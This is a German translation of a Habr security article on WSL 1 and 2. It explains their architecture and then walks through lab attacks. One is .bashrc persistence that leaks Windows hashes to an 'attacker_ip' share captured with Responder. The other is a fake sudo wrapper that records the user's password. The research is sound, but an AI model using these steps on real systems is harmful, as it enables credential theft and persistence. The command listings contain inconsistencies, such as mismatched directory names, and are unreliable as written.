Hallo, Habr! Im Oktober startet OTUS einen neuen Kurs. Vor dem Kursstart teilen wir mit Ihnen einen Artikel, den einer unserer Dozenten – Alexander Kolesnikov – geschrieben hat.
Im Jahr 2016 stellte Microsoft der IT-Community eine neue Technologie namens WSL vor (Windows Subsystem for Linux), die es thematisch erlaubte, zuvor unversöhnliche Konkurrenten zu vereinen, die um die Beliebtheit sowohl bei normalen als auch fortgeschrittenen Nutzern der Betriebssysteme Windows und Linux kämpften. Diese Technologie ermöglichte es, Linux-Tools in einer Windows-Umgebung zu nutzen, ohne Linux beispielsweise durch Multi-boot zu starten. Auf Habr können Sie eine große Anzahl von Artikeln finden, die die Vorteile der Verwendung von WSL beschreiben. Leider gab es jedoch zum Zeitpunkt der Erstellung dieses Artikels auf dieser Ressource keine Sicherheitsforschungen über eine solche Symbiose der Betriebssysteme. Dieser Beitrag wird der Versuch sein, dies zu ändern. Der Artikel behandelt die Besonderheiten der Architekturen WSL 1 und 2 und analysiert einige Beispiele für Angriffe auf Systeme, die diese Technologien verwenden. Der Artikel ist in 2 Teile unterteilt. Im ersten Teil werden die grundlegenden theoretischen Angriffsmethoden von Linux und Windows vorgestellt. Der zweite Artikel wird die Einrichtung einer Testumgebung und die Reproduktion von Angriffen umfassen.
WSL 1: Besonderheiten der Architektur
Um ein möglichst genaues Verständnis für die Sicherheitsprobleme von WSL zu entwickeln, ist es notwendig, die wichtigsten Nuancen im Zusammenhang mit der Implementierung des Subsystems zu bestimmen. Eine der Hauptnutzungsaufgaben, die WSL löst, besteht darin, die Möglichkeit zu bieten, über das Linux-Terminal auf Systeme zuzugreifen, die auf einem Host mit dem Betriebssystem Windows laufen. Außerdem war die angebotene Kompatibilität so nativ, dass Linux-executable Dateien (ELF) direkt im Windows-System gestartet werden konnten. Um diese Ziele zu erreichen, wurde in Windows 10 ein spezielles Subsystem geschaffen, das es ermöglichte, Linux-Anwendungen durch eine bestimmte Reihe von Systemaufrufen auszuführen – somit wurde versucht, die syscall-Sätze von Linux auf Windows abzubilden. Physisch wurde dies durch die Hinzufügung neuer Treiber und eines neuen Prozessformats realisiert. Visuell sah die Architektur so aus:
Im Wesentlichen wurde die Interaktion mit dem Betriebssystem Linux durch mehrere Kernel-Module und eine spezielle Art von Prozessen - pico - organisiert. Aus dem obigen Diagramm ist ersichtlich, dass der Prozess, der in einer Linux-Instanz auf dem Host gestartet wird, nativ sein muss und die gleichen Ressourcen nutzen sollte wie herkömmliche Windows-Anwendungen. Aber wie erreicht man das? Im Projekt wurden Konzepte für Prozesse unter Windows entwickelt, die alle notwendigen Komponenten des Betriebssystems (abhängig von seiner Version) für den Start einer Anwendung eines anderen Betriebssystems bereitstellten.
Es ist zu beachten, dass die vorgeschlagene Abstraktion es ermöglichte, sich nicht auf das Betriebssystem (insbesondere Windows), in dem der Prozess eines anderen Betriebssystems gestartet werden sollte, zu konzentrieren, und einen allgemeinen Ansatz anbot.
Somit konnte jede Anwendung innerhalb des pico-Prozesses unabhängig vom Windows-Kernel arbeiten:
- Kompatibilitätsprobleme und die Übersetzung von Systemaufrufen müssen von speziellen Anbietern gelöst werden;
- Der Zugriff muss über den Sicherheitsmonitor geregelt werden. Der Monitor befindet sich im Kernel, weshalb Windows ein Upgrade in Form eines neuen Treibers benötigte, der als Anbieter für solche Prozesse fungieren könnte. Ein Prototyp des pico-Prozesses ist schematisch unten dargestellt:
Da das Dateisystem von Linux zwischen Groß- und Kleinschreibung unterscheidet, wurden in Windows zwei Arten von Dateisystemen zur Arbeit mit WSL hinzugefügt - VolFS und DriveFS. VolFS ist die Implementierung des Linux-Dateisystems, DriveFS ist ein Dateisystem, das nach den Regeln von Windows arbeitet, jedoch die Möglichkeit bietet, die Groß- und Kleinschreibung von Namen zu berücksichtigen.
WSL 2
WSL 1 hatte eine Reihe von Einschränkungen, die es unmöglich machten, sie für die Lösung eines maximalen Spektrums von Aufgaben zu verwenden: Zum Beispiel fehlte die Möglichkeit, 32-Bit-Linux-Anwendungen auszuführen, und es konnten keine Device-Treiber verwendet werden. Daher wurde 2020 WSL 2 vorgestellt, das den Ansatz zum Aufbau der Subsysteme änderte. WSL 2 ist eine optimierte virtuelle Maschine, die den Ressourcenverbrauch von WSL 1 einhält. Jetzt kann der Benutzer der Windows-Betriebssysteme je nach zu lösenden Problemen die benötigte Version des Linux-Subsystems auswählen. Um mögliche Sicherheitsanfälligkeiten zu mindern, wurde WSL 2 auf Basis von Hyper-V in Windows 10 realisiert. In dieser Form hat Windows die Möglichkeit, den Linux-Betriebssystemkern isoliert auszuführen. Es ist zu beachten, dass die Version 1 von WSL als Beta-Feature vorgestellt wurde, welches den Entwicklungsvektor von Windows in diesem Bereich zeigen sollte, daher war der Übergang zu Hyper-V unvermeidlich. Die endgültige Architektur sieht folgendermaßen aus:
In dieser Version haben die Kerne der Windows- und Linux-Systeme ihre eigenen Ressourcen, und die Überlappung besteht nur im Dateisystem, allerdings kann man diese Überlappung nicht als vollständig bezeichnen. Die Interaktion zwischen den Dateisystemen erfolgt über eine Client-Server-Schicht, die nach dem 9P-Protokoll arbeitet.
Derzeit bietet Microsoft die Möglichkeit, zwischen WSL 1 und WSL 2 zu wechseln. Beide Versionen stehen zur Verfügung.
Sicherheit von WSL
Aktuell gibt es mehrere Arbeiten, die einige Ansätze zur Nutzung legitimer Betriebssystemwerkzeuge für Angriffe auf die Interaktion zwischen den Subsystemen beschreiben. Wir werden ihre Szenarien verwenden, um die Relevanz der Angriffe zum Zeitpunkt des Schreibens des Artikels zu überprüfen. Die allgemeine Liste der Angriffe und Durchführungsszenarien lautet:
1. Implementierung des Dateisystems: Zugriffsrechte, Vorhandensein von gemeinsamen Verzeichnissen/Datenübertragungsmechanismen.
Untersuchungen wurden hinsichtlich der Verletzung von Zugriffsregeln aus Linux FS->Windows FS, Windows FS->Linux FS. Die Untersuchungen zeigten die Möglichkeit der Modifikation einer bestimmten Datei innerhalb des Zielbetriebssystems. Es wurden auch Versuche unternommen, Dateien zu ersetzen, Duplikate zu erstellen und Teile der Dateisysteme zu löschen.
Szenario:
- A. Angriff aus dem Betriebssystem Windows — Modifikation von Dateien im Verzeichnis /etc des Linux-Betriebssystems.
- B. Angriff aus dem Betriebssystem Linux — Modifikation von Dateien in den Verzeichnissen:
C:Windows,C:Program Files,C:Users
2. Implementierung des Netzwerkstacks.
Die Forschung wurde anhand von Angriffen des Linux-Betriebssystems auf Windows durchgeführt. Dabei wurden spezifische Merkmale des Netzwerkstacks untersucht, insbesondere - Authentifizierungsmechanismen für verschiedene Ressourcen.
Szenario:
- Zugriff auf einen in Windows belegten Port öffnen.
- Portöffnung ohne entsprechende Berechtigungen.
- Start eines Reverse Shell mit einer ELF-Datei im Windows-Betriebssystem.
3. Verstecken des Starts von Schadsoftwareprozessen durch das WSL-Subsystem.
Die Untersuchungen basierten auf der einfachen Tatsache, dass Schutzsubsysteme keine Ereignisse in einem anderen Kernel abfangen können, der mit einem legitimen Anbieter seitens des Betriebssystems im Fall von WSL 1 arbeitet. Bei WSL 2 gibt es keine Möglichkeit, die Ereignisse zu beobachten, die in einem separaten Kernel innerhalb einer leichten virtuellen Maschine stattfinden.
Szenario:
1) Starten einer Anwendung für den Remotezugriff auf das System und Anzeigen der protokollierten Ereignisse.
WSL 1 Experimente: Hash-Abfangen (Windows OS)
Endlich sind wir beim praktischen Teil angekommen. Zunächst ist es notwendig, die Testumgebung einzurichten. Alle Experimente werden auf einem Stand durchgeführt, auf dem Windows 10 2004 installiert ist. Als Betriebssystemabbild für WSL wurde das Abbild Ubuntu 18.04 gewählt. Das Abbild wurde zufällig ausgewählt, und jede andere Version wird ebenfalls funktionieren. Die Befehle zur Einrichtung des Standes:
Zuerst muss man starten powershell.exe als Administrator.
Für WSL 1 müssen folgende Befehle ausgeführt werden:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #WSL-Funktion aktivieren
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Linux-Abbild aus dem Microsoft Store herunterladen
Nach dem Neustart des Standes kann man den Befehl bash aufrufen. Wenn alles korrekt funktioniert hat, sehen Sie ungefähr diese Ausgabe in der Windows-Konsole:
Als Angreifer verwenden wir die Kali Linux Distribution; alle Maschinen müssen sich im selben lokalen Netzwerk befinden.
Angenommen, wir haben nicht privilegierten Zugriff auf WSL auf einem Windows-Rechner. Lassen Sie uns versuchen, einen Angriff auf das Linux-Betriebssystem durchzuführen, indem wir einen Befehl aus Linux aufrufen. Um den Angriff durchzuführen, verwenden wir eine einfache Autostart-Technik – wir fügen unser Skript zur Ausführung in der Linux-Umgebung hinzu. Dazu müssen wir die Datei ändern .bashrc.
Auf dem WSL-Rechner führen wir aus:
1. bash
2. Wechseln Sie in das Heimatverzeichnis des Benutzers: cd /home/sam/
2. echo "\/home\/sam\/.attack.sh" >> .bashrc
3. echo "icalcs.exe " \\\\attacker_ip\\shareName\\" > /dev/null 2>&1" >> .attack.sh
4. chmod u+x .attack.sh
5. exitAuf dem Kali Linux-Rechner führen wir aus:
1. Responder -I eth0 -rdvwAuf dem Windows-Rechner starten wir bash.
Warten auf das Ergebnis auf dem Kali Linux-Rechner:
So haben wir die Windows-Benutzer-Hashes über das WSL-System erhalten, indem wir einen Befehl auf dem Linux-System ausgeführt haben.
WSL 1 Experimente: Zeigen eines Benutzers Passwort (Linux OS)
Wir werden ein weiteres Experiment durchführen. Im Rahmen dieser Überprüfung fügen wir der Datei .bashrc einige Befehle hinzu, um das Passwort des Benutzers des Linux-Betriebssystems zu erhalten.
Starten wir bash und geben die Befehle ein:
1. mkdir .hidden
2. echo "export PATH=$HOME\/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] Passwort für $USER: " sudopass" > .hidden\/sudo
4. echo "echo """ >> .mysudo\/sudo
5. echo "sleep 2" >> .mysudo\/sudo
6. echo "echo "Entschuldigung, versuchen Sie es erneut."" >> .mysudo\/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt" >> .mysudo\/sudo
8. echo "\/usr\/bin\/sudo $@" >> .mysudo\/sudo
9. chmod +x .mysudo\/sudo
10. exit Damit der Angriff erfolgreich durchgeführt werden kann, muss der Benutzer Sam sudo im Linux-Terminal aufrufen. Danach wird das Passwort des Benutzers des Linux-Betriebssystems in der Datei pass.txt:
Die Anwendung der Angriffe wurde nur zu theoretischen Zwecken dargelegt.
Im nächsten Teil des Artikels wird die Umsetzung des 9P-Protokolls beschrieben, die Erstellung eines Scanners für dieses Protokoll wird behandelt und ein Angriff damit durchgeführt.
Literaturverzeichnis
Weiterlesen
Quelle: habr.com
